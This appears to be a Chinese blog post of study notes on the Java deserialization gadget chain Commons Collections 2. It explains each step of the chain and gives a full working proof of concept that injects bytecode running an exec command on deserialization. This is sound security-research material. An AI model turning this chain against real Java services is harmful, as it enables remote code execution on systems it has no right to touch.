JAVA反序列化学习笔记4.Commons Collections2分析

简介: JAVA反序列化学习笔记4.Commons Collections2分析

Log4j2 研究之lookup

看你们也就看个乐子,真分析还得看我宽字节师傅们的。

0x01.前言

同CC1相比,CC2可以触发代码执行,更灵活一些,在版本方面,JDK1.7 和 1.8都可使用, commons-collections需要4.0版本

maven配置为

<dependency> 
 <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId>  
  <version>4.0</version>
</dependency>

还是先来分析一个简单的代码执行后再深入分析

0x02.TemplatesImpl类

该类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

先来一段代码

Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); Method method = classz.getMethod("newTransformer"); method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[] files = Files.readAllBytes(Paths.get("E:\\javapro\\serandfor\\src\\main\\java\\com\\seri\\payload.class"));
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(o,b);
Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(o,"test");
Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());
method.invoke(o);

一个基础思路是,通过defineClass去加载一个自定义的class文件的内容,之后实例化,触发代码 执行。在defineTransletClasses函数中调用 内部类TransletClassLoader中的defineClass类

可以看到继承了ClassLoader类,并调用了ClassLoader中的defineClass函数进行类加载操作。

但是defineTransletClasses函数是私有的,无法进行直接调用,所以需要找到一个public口

在本类的getTransletInstance方法中调用了defineTransletClasses,并且将返回的Class对象进行 了实例化操作,就可以触发构造函数和静态代码块中的代码了。

但是该函数还是private,在往上找,在本类的newTransformer方法中调用了 getTransletInstance,并且为public

所以调用流程为TemplatesImpl->newTransformer->getTransletInstance>defineTransletClasses

接下来分析一下为了让代码顺利执行,需要一些属性的赋值,该类的属性大多为private,需使用反射赋值。

先看newTransformer函数,并没有什么需要赋值的就可以执行到getTransletInstance函数了。

getTransletInstance函数中需要让_name 属性不为null即可调用defineTransletClasses函数,其 中_class是一个Class类型数组。

接下来仔细分析一下defineTransletClasses函数。(JDK1.8下)

private void defineTransletClasses() 
  throws TransformerConfigurationException { 
  if (_bytecodes == null) {//_bytecodes属性不能为null 为byte型二维数组 byte[] []_bytecodes 
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); 
    throw new TransformerConfigurationException(err.toString());
 }
 TransletClassLoader loader = (TransletClassLoader) 
    AccessController.doPrivileged(new PrivilegedAction() { 
      public Object run() { 
        //需要对_tfactory属性赋值
        //private transient TransformerFactoryImpl _tfactory = null; 
        //transient代表不对其进行序列化,赋值为TransformerFactoryImpl对象即可 
        return new   
        TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); 
      }
 });
 try {
  final int classCount = _bytecodes.length; 
    _class = new Class[classCount];
    if (classCount > 1) { 
      _auxClasses = new HashMap<>(); 
    }
 for (int i = 0; i < classCount; i++) {
  //循环_bytecodes数组,将每一个byte数组通过defineClass类加载成Class对象 
    _class[i] = loader.defineClass(_bytecodes[i]); 
    final Class superClass = _class[i].getSuperclass(); //获取转换的类的父类信息
  //为了保证后续的实例化,_transletIndex不能小于0,就必须进入下方的if判断 
    //父类的名字必须为ABSTRACT_TRANSLET,值为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) { 
      _transletIndex = i; 
    } 
    else { 
      _auxClasses.put(_class[i].getName(), _class[i]); 
    } 
  }
  if (_transletIndex < 0) { //_transletIndex不能小于0,否则会抛出异常,程序终止, 无法执行到getTransletInstance函数的newInstance语句 
     ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); 
     throw new TransformerConfigurationException(err.toString());
   } 
  } 
  catch (ClassFormatError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  } 
  catch (LinkageError e) { 
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); 
    throw new TransformerConfigurationException(err.toString()); 
  }
}

注意一下JDK1.7中其实无需赋值_tfactory属性,因为并没有去调用。

所以我们需要赋值的三个属性为_bytecodes  _name  _tfactory

其中_bytecodes 为我们要构造的类的class文件的byte数组,这个类我们可以随意构造,类实例化 操作后会执行静态代码块和构造函数,我们在其中构造危险代码即可。(注意因为上方代码问题需要使这个类继承AbstractTranslet

最开始读取的class文件代码为

但是这段语句是直接从本地文件读取,在利用上可能较为不方便,所以修改为javassist来动态生成 class类

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块
Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object o = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); field.set(o,b);
Field field2 = classz.getDeclaredField("_name"); f
 ield2.setAccessible(true); 
field2.set(o,"test");
Field field3 = classz.getDeclaredField("_tfactory"); 
field3.setAccessible(true); 
field3.set(o,new TransformerFactoryImpl());
method.invoke(o);




到此底层的逻辑构造完成。

0x03.TransformingComparator

这里需要想的是怎么能调用newTransformer函数,这里可以用到CC1中的InvokerTransformer的 transform方法去调用。

只要确保input的值为TemplatesImpl对象,就可以通过反射调用其newTransformer函数。

这时候来看TransformingComparator类,通过构造函数可以指定transformer为 InvokerTransformer,之后在compare函数中调用其transform方法。


对应POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);

之后寻找调用compare方法的位置。

0x04.PriorityQueue

既要调用TransformingComparator类的compare方法,又要确保obj1的值为TemplatesImpl对象。

来看PriorityQueue类,是一个处理队列相关的类。

首先siftDownUsingComparator方法会调用comparator对象的compare方法

siftDown方法中又会调用siftDownUsingComparator方法,

heapify方法中又会调用siftDown方法,

readObject方法中调用了heapify


正向来看就是

PriorityQueue->readObject->heapify->siftDown->siftDownUsingComparator>comparator.compare

POC代码为

InvokerTransformer invokerTransformer = new 
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);
Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);
Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});

PriorityQueue的comparator类型为Comparator接口,而TransformingComparator同样实现了 该接口

所以通过反射将其值改为构造好的TransformingComparator对象,这样就会调用comparator方 法,之后再调用InvokerTransformer的transform方法。

这时候我们需要满足的就是这个c对象的值为TemplatesImpl对象即可。

c的值通过queue数组获取,而queue为Object类型数组

这样通过反射为其赋值为templatesImpl对象数组即可。这样就能保证c的值为templatesImpl对象。

完整POC为

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass 
payload=classPool.makeClass("payload2");//创建一个新的public类 
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为 AbstractTranslet 
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\"calc\");"); // 设置静态代码块
Class classz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templatesImpl = classz.newInstance(); 
Method method = classz.getMethod("newTransformer"); 
method.setAccessible(true);
Field field = classz.getDeclaredField("_bytecodes"); 
byte[][] b = {payload.toBytecode()}; 
field.setAccessible(true); 
field.set(templatesImpl,b);
Field field2 = classz.getDeclaredField("_name"); 
field2.setAccessible(true); 
field2.set(templatesImpl,"test");
Field field3 = classz.getDeclaredField("_tfactory"); //这里赋值没有意义 field3.setAccessible(true); 
field3.set(templatesImpl,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new
InvokerTransformer("newTransformer",null,null); 
TransformingComparator trans = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2); 
queue.add(1); 
queue.add(1);
Field field4=queue.getClass().getDeclaredField("comparator"); 
field4.setAccessible(true); 
field4.set(queue,trans);
Field field5=queue.getClass().getDeclaredField("queue"); 
field5.setAccessible(true); 
field5.set(queue,new Object[]{templatesImpl,templatesImpl});
//序列化 
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); 
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(queue); 
objectOutputStream.close();
//反序列化 
FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 
Object result = objectInputStream.readObject(); 
objectInputStream.close();

执行链为:

->PriorityQueue类
 ->readObject
 ->heapify
 ->siftDown
 ->siftDownUsingComparator
  ->TransformingComparator类
  ->compare
   ->InvokerTransformer类
   ->transform
    ->TemplatesImpl类
    ->newTransformer
    ->getTransletInstance ---->调用完defineTransletClasses后调用newInstance实例化对象,触发静态代码块中的危险代码
    ->defineTransletClasses

0x05.总结

这里还有个问题,TemplatesImpl_tfactory的类型为transient,数据不进行序列化操作,所以我们通过反射给其赋值也没有意义,那如何经过代码呢, 其实在readObject方法中有手动赋值的操作。

再来看PriorityQueue类的queue属性也为transient,默认不进行序列化,但是在readObject方法 中进行取值了。

那这个值是怎么来的呢?是因为在writeObject方法中进行了手动序列化

相关文章
|
6月前
|
安全 Java 编译器
new出来的对象,不一定在堆上?聊聊Java虚拟机的优化技术:逃逸分析
逃逸分析是一种静态程序分析技术,用于判断对象的可见性与生命周期。它帮助即时编译器优化内存使用、降低同步开销。根据对象是否逃逸出方法或线程,分析结果分为未逃逸、方法逃逸和线程逃逸三种。基于分析结果,编译器可进行同步锁消除、标量替换和栈上分配等优化,从而提升程序性能。尽管逃逸分析计算复杂度较高,但其在热点代码中的应用为Java虚拟机带来了显著的优化效果。
202 4
|
4月前
|
存储 Java Go
【Java】(3)8种基本数据类型的分析、数据类型转换规则、转义字符的列举
牢记类型转换规则在脑海中将编译和运行两个阶段分开,这是两个不同的阶段,不要弄混!
265 2
|
4月前
|
JSON 网络协议 安全
【Java】(10)进程与线程的关系、Tread类;讲解基本线程安全、网络编程内容;JSON序列化与反序列化
几乎所有的操作系统都支持进程的概念,进程是处于运行过程中的程序,并且具有一定的独立功能,进程是系统进行资源分配和调度的一个独立单位一般而言,进程包含如下三个特征。独立性动态性并发性。
253 1
|
4月前
|
Java Go 开发工具
【Java】(9)抽象类、接口、内部的运用与作用分析,枚举类型的使用
抽象类必须使用abstract修饰符来修饰,抽象方法也必须使用abstract修饰符来修饰,抽象方法不能有方法体。抽象类不能被实例化,无法使用new关键字来调用抽象类的构造器创建抽象类的实例。抽象类可以包含成员变量、方法(普通方法和抽象方法都可以)、构造器、初始化块、内部类(接 口、枚举)5种成分。抽象类的构造器不能用于创建实例,主要是用于被其子类调用。抽象类中不一定包含抽象方法,但是有抽象方法的类必定是抽象类abstract static不能同时修饰一个方法。
257 1
|
4月前
|
JSON 网络协议 安全
【Java基础】(1)进程与线程的关系、Tread类;讲解基本线程安全、网络编程内容;JSON序列化与反序列化
几乎所有的操作系统都支持进程的概念,进程是处于运行过程中的程序,并且具有一定的独立功能,进程是系统进行资源分配和调度的一个独立单位一般而言,进程包含如下三个特征。独立性动态性并发性。
268 2
|
5月前
|
小程序 Java 知识图谱
Java 学习笔记 —— BMI & BMR 计算器
这是一个使用 Java 编写的 BMI 与 BMR 计算器小程序,可输入年龄、性别、身高和体重,计算身体质量指数(BMI)和基础代谢率(BMR),并输出健康评估结果。通过该项目,掌握了 Java 的输入处理、数据验证、条件判断、数学运算及格式化输出等基础知识,是 Java 初学者的理想练习项目。
|
5月前
|
Java
Java 数组学习笔记
本文整理Java数组常用操作:遍历、求和、查找、最值及二维数组行求和等典型练习,涵盖静态初始化、元素翻倍、去极值求平均等实例,帮助掌握数组基础与应用。
|
5月前
|
数据采集 存储 弹性计算
高并发Java爬虫的瓶颈分析与动态线程优化方案
高并发Java爬虫的瓶颈分析与动态线程优化方案
java202302java学习笔记第七天-n种内部类
java202302java学习笔记第七天-n种内部类
139 0
java202302java学习笔记第七天-n种内部类
java202302java学习笔记第七天-n种内部类2
java202302java学习笔记第七天-n种内部类2
171 0
java202302java学习笔记第七天-n种内部类2